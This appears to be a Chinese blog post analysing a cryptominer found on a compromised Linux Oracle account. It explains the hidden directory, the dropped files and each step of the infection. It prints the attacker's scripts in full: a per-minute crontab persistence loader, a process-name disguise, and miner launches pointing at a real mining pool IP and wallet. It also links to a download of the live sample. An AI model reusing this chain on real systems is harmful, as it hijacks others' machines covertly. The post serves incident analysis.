遭遇挖礦程式續集_詳解黑客攻擊步驟
下載連結: http://download.csdn.net/download/landehutu/10218235
背景:前幾天寫了一下遭遇挖礦程式後的處理步驟,當時弄了一個活體下來,但是沒有說明那幾個程式的細節,今天補上。
程式細節說明:
黑客先找到系統的漏洞,獲得相應許可權以後,在oracle使用者目錄下建立了一個隱藏目錄:.data_oracle,linux下小數點開頭的ls不加 -a 引數就看不到。
然後把檔案都上傳到目錄中,包括:
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 a
-rw-r--r--. 1 oracle oinstall 0 1月
-rw-r--r--. 1 oracle oinstall 0 1月 18 11:46 cron.d
-rw-r--r--. 1 oracle oinstall 0 1月 18 11:46 dir.dir
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 h32 : 這個32bit程序是用來隱藏程序名稱的
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 h64 : 這個64bit程序是用來隱藏程序名稱的
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 md
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 md32 : 這個是32bit的挖礦程式
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 mdx : 這個也是挖礦程式,只不過硬體架構不是i686或x86_64的
-rwxr-xr-x. 1 oracle oinstall 0 1月 18 11:46 run
-rwxr--r--. 1 oracle oinstall 0 1月 18 11:46 upd : 這個檔案是後來由a檔案生成的
-rwxr-xr-x. 1 oracle oinstall 0 1月
現在開始依次聊聊檔案內容:
上傳完檔案後,首先執行檔案x
nohup ./a >>/dev/null & |
這句很簡單,就是執行當前目錄(/home/oracle/.data_oracle)下的檔案a,其他內容我就囉嗦點講下吧。這行命令其實是三段: nohup和./a >>/dev/null 和 &,/dev/null是個裝置檔案,其實就是windows下的垃圾站,是個空檔案,意思是所有a檔案產生的輸出都別顯示了,就直接扔進了碎紙機裡面。& 是後臺執行,那為什麼還有個nohup呢,比如你在windows下,當前執行了一個程式,如果登出當前使用者,這個程式也會退出,那怎麼辦呢,只有把這個程式交給作業系統去執行,這樣就算登出了當前使用者,程式還可以繼續執行,nohup就是幹這個的。
再來看看a:
pwd > dir.dir dir=$(cat dir.dir) echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep upd echo "#!/bin/sh if test -r $dir/bash.pid; then pid=\$(cat $dir/bash.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > upd chmod u+x upd ./upd |
第一句是把當前目錄名稱寫入檔案dir.dir中;
第二句變數dir取得了當前目錄;
第三句將crontab內容寫入cron.d檔案,隨後一句就載入進入crontab,crontab就是windows的計劃任務,定時執行任務的,crontab的命令格式是:
minute hour day month week command
所以 * * * * * $dir/upd >/dev/null 2>&1 意思就是一直執行upd檔案,/dev/null就不講了, 2>&1的意思是錯誤檔案輸出到標準輸出中,下面是百度抄的,還看不懂的話,需要實際做做。
1)標準輸入 即 STDIN , 在 /dev/stdin ,
一般指鍵盤輸入, shell裡代號是 0
2) 標準輸出 STDOUT, 在 /dev/stdout,
一般指終端(terminal), 就是顯示器, shell裡代號是 1
3) 標準錯誤 STDERR, 在 /dev/stderr
也是指終端(terminal), 不同的是, 錯誤資訊送到這裡
shell裡代號是 2
後面程式碼是echo一段程式碼輸出到檔案upd中,然後給upd賦予執行許可權,最後執行upd檔案。先看看上面生成的檔案:
dir.dir:/home/oracle/.data_oracle
cron.d:* * * * * /home/oracle/.data_oracle/upd >/dev/null 2>&1
講講upd:
#!/bin/sh if test -r /home/oracle/.data_oracle/bash.pid; then pid=$(cat /home/oracle/.data_oracle/bash.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then exit 0 fi fi cd /home/oracle/.data_oracle ./run &>/dev/null |
首先檢查一下檔案 /home/oracle/.data_oracle/bash.pid 是否可讀,如果可讀,就讀出裡面的程序pid,直接kill掉,重新執行run。
看下程序id的檔案bash.pid : 38790
run檔案才是真正的啟動命令的檔案:
#!/bin/bash proc=`nproc` ARCH=`uname -m` HIDE="-bash" if [ "$ARCH" == "i686" ]; then ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null & elif [ "$ARCH" == "x86_64" ]; then ./h64 -s $HIDE ./md -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null & else ./h64 -s $HIDE ./mdx -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null & fi echo $! > bash.pid |
這個核心檔案就是讀出作業系統的硬體架構,如果是i386就執行32位的h32和md32,猜測h32是用於讓系統顯示的程序名稱,md32才是真正的挖礦程式。執行完成了就把程序id寫入bash.pid中。
總結一下:
找系統漏洞;
獲取許可權;
建立目錄;
上傳檔案;
執行x,執行a;
a啟動crontab執行upd,生成upd並賦權;
upd去執行run;
run去執行真正的挖礦程式。